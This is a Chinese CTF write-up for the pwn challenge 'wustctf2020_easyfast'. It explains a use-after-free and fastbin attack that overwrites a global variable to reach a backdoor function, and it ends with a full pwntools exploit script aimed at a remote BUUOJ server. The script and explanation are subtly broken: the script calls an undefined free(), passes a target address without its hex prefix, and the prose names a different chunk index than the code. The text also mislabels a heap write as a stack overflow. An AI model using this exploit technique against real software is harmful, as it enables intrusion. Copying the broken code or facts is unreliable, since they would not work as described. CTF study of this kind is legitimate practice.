wustctf2020_easyfast
惯例先来checksec一下
开启了canary和nx的64位程序 放进ida64里看看
没啥营养的main函数 进vuln函数里看看
一个标准的菜单题vuln函数
1 添加堆 2 删除堆 3 编辑堆 4 后门函数
1 添加堆
只能申请4个堆块
首先我们输入size然后根据该size我们申请chunk 然后将malloc出来的chunk的地址放到table数组里
2 删除堆
我们会发现此处并没有将指针归零 因此存在uaf漏洞 我们可以利用该漏洞达成fastbinattack double free
3 编辑堆
向chunk中写入长度为0xFF的内容 (此处存在栈溢出)
4 后门函数
注意这里很明显是要我们篡改qword的值为0然后执行该后门函数达到获取控制权的效果
题目分析完毕开始解题
此题是一道很简单的double free题
我们先来复习一下double free的原理:
**在删除堆的时候没有对指针进行归零操作,然后重复free同一个chunk试其的fd形成一个循环 此时我们就可以通过在第二次申请该chunk的时候让同一个chunk拥有写入和执行的权限 **
因此我们先申请两个chunk:
add(0x40)
add(0x10) //此处申请0x10是为了到时侯freechunk时无需释放两次
然后释放chunk0 需要主义的是此处如果直接double free的话会出现double free报错因此我们只能用利用第一次free的chunk直接利用 利用uaf漏洞来解决
free(0) //此处形成了循环链表
此时由于chunk已在fastbin中 因此靠fd来连接 此时我们编辑chunk1的fd指针为我们需要篡改的backdoor的目标的地址-0x10(即0x602080)
edit(1,0x602080)
此时我们再创立两个大小为0x40的大小的chunk 第一个chunk的地址是我们原chunk0的地址 而后一个chunk由于fd指针被我们篡改因此误认为0x602080才是堆的地址(之所以申请0x50是因为0x602090附近的地址只有0x602088的内容为0x50
add(0x40) #idx2
add(0x40) #idx3
然后我们编辑chunk3的内容 就是再编辑0x602090开始的内容 因此我们只要编辑chunk3的内容为0x0然后再执行backdoor即可
edit(3,p64(0x0))
backdoor()
io.interactive()
成功获取到了flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3cAbkyu1-1677357228978)(C:/Users/陈东旭/AppData/Roaming/Typora/typora-user-images/1677356452548.png)]
exp:
from pwn import *
io=remote('node4.buuoj.cn',29285)
def add(size):
io.recvuntil("choice>\n")
io.sendline('1')
io.recvuntil("size>\n")
io.sendline(str(size))
def delete(idx):
io.recvuntil("choice>\n")
io.sendline('2')
io.recvuntil("index>\n")
io.sendline(str(idx))
def edit(idx,content):
io.recvuntil("choice>\n")
io.sendline('3')
io.recvuntil("index>\n")
io.sendline(str(idx))
io.send(content)
def backdoor():
io.recvuntil("choice>\n")
io.sendline('4')
io.recvuntil("_\\_\\ \n")
add(0x40)
add(0x10)
free(0)
edit(0,p64(602080))
add(0x40)
add(0x40)
edit(3,p64(0))
backdoor()
io.interactive()